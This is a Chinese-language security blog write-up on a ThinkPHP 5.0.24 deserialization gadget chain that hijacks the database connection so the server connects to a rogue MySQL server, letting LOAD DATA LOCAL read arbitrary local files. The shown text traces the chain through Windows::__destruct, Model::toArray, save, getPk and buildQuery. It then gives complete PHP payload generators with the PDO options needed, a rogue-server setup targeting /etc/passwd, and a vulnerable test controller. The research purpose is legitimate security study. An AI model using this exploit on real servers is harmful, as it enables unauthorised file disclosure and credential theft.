在学习 TP5.0.24 反序列化漏洞 时,发现了一个可控数据库连接从而实现任意文件读取的链子,原理类似这篇文章:ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
本文将会根据自己挖掘的思路来写,尽量把调用流程展示清楚,把坑点说明下。并补充些审计时的思考。
跳板
开始的入口跳板和写shell的反序列化入口是一样的,若已经知道这个链子了可以跳过
全局搜索 function __desctruct()
函数,找到 thinkphp/library/think/process/pipes/Windows.php
文件:
public function __destruct() { $this->close(); $this->removeFiles();
}
跟进 $this->removeFiles()
:
private function removeFiles() { //循环 $this->files,该值可控 foreach ($this->files as $filename) { //调用 file_exists 函数检测 $filename //file_exists 需要传入一个 String 类型 //若此时我们控制 $filename 为一个类,类被当作字符串使用,将会自动调用 __toString() 魔术方法 if (file_exists($filename)) {
@unlink($filename);
}
} $this->files = [];
}
这里有一个小 trick:挖反序列化的时候,我们可以控制 传参类型为String的函数
传入一个类,使程序自动调用 __toString()
,达到跳板的目的。
全局搜索 function __toString()
,找到 thinkphp/library/think/Model.php
文件:
public function __toString() { return $this->toJson();
}
一直跟进,最后调用了 Model.php
的 toArray()
方法
以上都是和网上流传的写shell的链子是一致的,往下的链子就不一样了
漏洞点
挖掘一个新链子时,我一般使用的方法是:
- 先整体粗看,梳理调用链,找到最终可以实现我们需求的函数。在这个阶段不需要太纠结数据如何传递的,我们只需要找到最终函数即可。
- 回溯函数,细看调用链中的每个函数,思考如何控制程序流程执行到最终函数
ps:
最终函数其实就是能够执行到我们想要的操作,或者对程序有危害操作的函数,可能是一个注入点,也可能是一个上传点。
整体梳理
这里整理了个简单的流程图,代码进行了简化。在梳理阶段我们只需要关注函数能调用哪里即可,不需要对每个函数的流程控制进行详细分析。确定可能存在的函数调用链即可。
整个流程的核心为:
- 数据库连接可控
- 程序执行过程中会执行SQL语句
解决图中的 问题1
我们能传入的 type
仅限于下图这几个tp5 自带的数据库驱动类
解决图中的 问题2
在 think/Model.php buildQuery()
中,有个任意类实例化的代码:
$con = Db::connect($connection);
$queryClass = $this->query ?: $con->getConfig('query'); //实例化任意类 $query = new $queryClass($con, $this);
在上图中我们选择了实例化 think\db\Query.php
。
选择实例化这个类,是因为 think/Model.php buildQuery()
最终会 return
到 think/Model.php getPk()
函数,该函数代码如下:
//$this->getQuery() 就是 buildQuery() 的返回值 //为了能够链式操作调用getPk(),需要找到一个具有getPk()方法的类 //便选择了think\db\Query类 $this->pk = $this->getQuery()->getPk();
为了程序能够顺利执行,我们选择实例化的类必须存在 getPk()
方法。不然将会触发 __call()
,使程序流程走到意外的分支。全局搜索了 getPk()
方法后找到 think\db\Query.php
较为合适。
回溯细看
在toArray()
方法中,我们仅需要控制一个 $this->append
即可
think/Model.php public function toArray() {
...... //反序列中$this->append可控 if (!empty($this->append)) { foreach ($this->append as $key => $name) { //$this->append值不能为数组 if (is_array($name)) {
......
} //$this->append值不能有. elseif (strpos($name, '.')) {
.....
} else { //去除 $this->append键中特殊字符 $relation = Loader::parseName($name, 1, false); //$this->append的键必须是本类存在的方法名 if (method_exists($this, $relation)) { //任意本类方法调用 $modelRelation = $this->$relation();
....
}
}
}
}
}
save()
方法中,经过一大段并不会影响程序流程的代码后,最终调用了 $this->getPk()
think/Model.php public function save($data = [], $where = [], $sequence = null) { if (is_string($data)) {
.....
} if (!empty($data)) {
.....
} if (!empty($where)) {
.....
} if (!empty($this->relationWrite)) {
......
} if (false === $this->trigger('before_write', $this)) {
.....
} //经过一堆无关紧要的操作,可调用$this->getPk() $pk = $this->getPk();
}
前文调用 getPk()
是无参调用
think/Model.php public function getPk($name = '') { if (!empty($name)) {
.....
} //由于调用时是无参调用 //必会进入elseif elseif (empty($this->pk)) { $this->pk = $this->getQuery()->getPk();
}
}
此时进行了链式操作,我们先看 getQuery()
方法。我们可以留意下该方法的返回值。
think/Model.php public function getQuery($buildNewQuery = false) { if ($buildNewQuery) { return $this->buildQuery();
} //无参调用,$this->class可控 //我们可控制为一个不存在的值让程序流程必定进入elseif elseif (!isset(self::$links[$this->class])) { self::$links[$this->class] = $this->buildQuery();
} //返回$this->buildQuery()返回的东西 return self::$links[$this->class];
}
下面的说明可能有点绕,可以根据下文给出的测试POC自行跟进下将比较好理解。
在 buildQuery()
中,进行数据库的初始化连接操作。但仅仅只是进行了配置,并没有真正的进行数据库连接。
这一段由于没有太多需要控制流程的地方,我们主要工作是明确如何设置各个变量的值。
这一段代码解析配合上文的流程图食用效果更佳
think/Model.php protected function buildQuery() {
..... //控制$this->connection //通过查看Db::connect()方法 //可以得知$this->connection内容就是数据库配置 $connection = $this->connection;
$con = Db::connect($connection); //$this->query可控,控制程序实例化Query类 $queryClass = $this->query ?: $con->getConfig('query');
$query = new $queryClass($con, $this); return $query;
}
===========
think/Db.php public static function connect($config = [], $name = false) { //解析配置 $options = self::parseConfig($config); //加载数据库驱动 $class = false !== strpos($options['type'], '\\') ?
$options['type'] : '\\think\\db\\connector\\' . ucwords($options['type']); //实例化数据库驱动 //查看Mysql数据库驱动类构造方法可以得知 //Mysql->config成员变量被赋值为$options self::$instance[$name] = new $class($options); return self::$instance[$name];
}
===========
think/db/Connection.php 所有数据库驱动都继承此类 public function __construct(array $config = []) { if (!empty($config)) { $this->config = array_merge($this->config, $config);
}
}
===========
think/db/Query.php public function __construct(Connection $connection = null, $model = null) { //为 Query->connection 成员变量赋值 //值为buildQuery()中调用的 Db::connect(),可控 $this->connection = $connection ?: Db::connect([], true); //下面的操作主要是实例化了数据库驱动的Builder类 //对我们的攻击无关紧要。感兴趣也可以跟进下 $this->prefix = $this->connection->getConfig('prefix'); $this->model = $model; $this->setBuilder();
}
经过上面这段 TP数据库配置操作
后,在 buildQuery()
中将会返回 Query类
的实例。
在该方法中对数据库进行PDO连接。具体的连接函数在下文分析。这里我们先了解调用流程
think/db/Connection.php public function getPk($options = '') {
$pk = $this->getTableInfo(is_array($options) ? $options['table'] : $options, 'pk');
}
========
think/db/Connection.php public function getTableInfo($tableName = '', $fetch = '') {
$db = $this->getConfig('database'); if (!isset(self::$info[$db . '.' . $guid])) { //前面的不太重要,一般都能调用到这里 $info = $this->connection->getFields($guid);
}
}
========
think/db/connector/Mysql.php public function getFields($tableName) { //sql语句 $sql = 'SHOW COLUMNS FROM ' . $tableName; //调用query() $pdo = $this->query($sql, [], false, true);
}
========
think/db/Connection.php public function query($sql, $bind = [], $master = false, $pdo = false) { //数据库连接配置 //这里会在下文详细说 $this->initConnect($master); $this->PDOStatement = $this->linkID->prepare($sql); $this->PDOStatement->execute();
}
这里给出个POC,如果没看懂的话跟着POC开Debug走一走流程就明白调用过程了 = =
备注:该POC运行到 think/db/Connection.php connect()
将会由于没有传入正确数据库配置而报错停止运行。这里我们明白调用流程即可
<?php namespace think{ abstract class Model{
//toArray()中
//为了使得能够进入if判断并foreach //需要控制该成员变量
//值为被调用的任意本类方法,即save() protected $append = [
'save'
]; protected $table = 'xxx'; //buildQuery()中 //为了能够实例化Query类 //需要控制该成员变量 protected $query = '\think\db\Query';
}
} namespace think\model{
//继承抽象类 Model class Pivot extends \think\Model{
}
} namespace think\process\pipes{ class Windows{ private $files = []; public function __construct(){ //!!!! //由于Model类是抽象类,我们只能实例化其子类 //!!!! $this->files[] = new \think\model\Pivot();
}
}
} namespace{
//入口点 __destruct()
$a = new \think\process\pipes\Windows(); echo base64_encode(serialize($a));
} ?>
控制数据库配置
由于上文的POC在 think/db/Connection.php connect()
就抛出错误了。查看该方法,发现其进行了PDO连接数据库的操作,传入的配置为其成员变量。
这里值得注意的是,由于数据库驱动类是另外 new
出来的,所以反序列化无法直接控制其成员变量。我们只能通过给构造函数传参,在构造函数中控制部分成员变量。具体可看前文的流程图会清晰一些。
//数据库配置格式 //我们要构造的payload就按照这个数组来写 protected $config = [ 'type' => '', 'hostname' => '', 'database' => '', 'username' => '', 'password' => '', 'hostport' => '',
......
]; //PDO配置 protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false, //该PDO配置将使得 LOAD DATA LOCAL 不成功 //需要在connect()中将之覆写为true PDO::ATTR_EMULATE_PREPARES => false,
]; public function connect(array $config = [], $linkNum = 0, $autoConnection = false) {
$config = array_merge($this->config, $config); //控制$config['params']不为空且为数组,使程序进入if判读 //覆写该类默认的$this->params[PDO::ATTR_EMULATE_PREPARES] 为true //这样我们 LOAD DATA LOCAL 才能成功 if (isset($config['params']) && is_array($config['params'])) {
$params = $config['params'] + $this->params;
} else {
$params = $this->params;
} if (empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
} $this->links[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $params);
} return $this->links[$linkNum];
}
扩展:使用 +
拼接数组,后面的数组不会覆盖前面的数组值。但是使用 array_merge
将会覆盖前面的值:
<?php $a = [ 'x' => 1 ];
$b = [ 'x' => 2, 'v' => 3 ]; //使用 + 拼接数组 //$c['x'] 还是1 $c = $a+$b; //使用 array_merge 拼接数组 //$d['x'] 被覆盖为2 $d = array_merge($a,$b); ?>
根据上文的代码分析。我们可构建连接恶意Mysql数据库的配置。这里需要注意几点:
-
`PDO::MYSQL_ATTR_LOCAL_INFILE
要设置为 true。不然PDO无法进行LOAD DATA LOCAL
操作 -
PDO::ATTR_EMULATE_PREPARES
也要设置为 true。不然LOAD DATA LOCAL
会报错 - PDO连接恶意Mysql数据库不需要正确的用户名密码和库名。只要地址正确即可
初始化PDO连接后,connect()
将把PDO连接返回到 query()
函数中,由这个函数执行 PDOStatement execute()
最终POC
搭建的恶意Mysql服务器选择 Rogue-MySql-Server。可以通过编辑其 rogue_mysql_server.py
修改服务监听端口和被读取的文件:
PORT = 3306 .....
filelist = ( '/etc/passwd',
)
修改POC,增加数据库配置:
<?php namespace think{ abstract class Model{ protected $append = [
'save'
]; protected $table = 'xxx'; protected $query = '\think\db\Query'; //buildQuery()中 //为Db::connect()传入的数据库连接配置 protected $connection = [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => '127.0.0.1', // 数据库名 'database' => 'xxx', // 用户名 'username' => 'xxx', // 密码 'password' => 'xxx', 'params' => [ //让PDO能够执行LOAD DATA LOCAL \PDO::MYSQL_ATTR_LOCAL_INFILE => true, //重写配置,让PDO LOAD DATA LOCAL不报错 \PDO::ATTR_EMULATE_PREPARES => true,
]
];
}
} namespace think\model{ class Pivot extends \think\Model{
}
} namespace think\process\pipes{ class Windows{ private $files = []; public function __construct(){ $this->files[] = new \think\model\Pivot();
}
}
} namespace{
$a = new \think\process\pipes\Windows(); echo base64_encode(serialize($a));
} ?>
在TP的控制器处新建一个 index.php
。写入如下测试代码:
<?php namespace app\index\controller; class Index { public function index() {
$a = base64_decode('生成的POC');
unserialize($a);
}
}
开启Rogue Mysql:
python rogue_mysql_server.py
访问测试文件,发现报了个错
查看日志,成功读取文件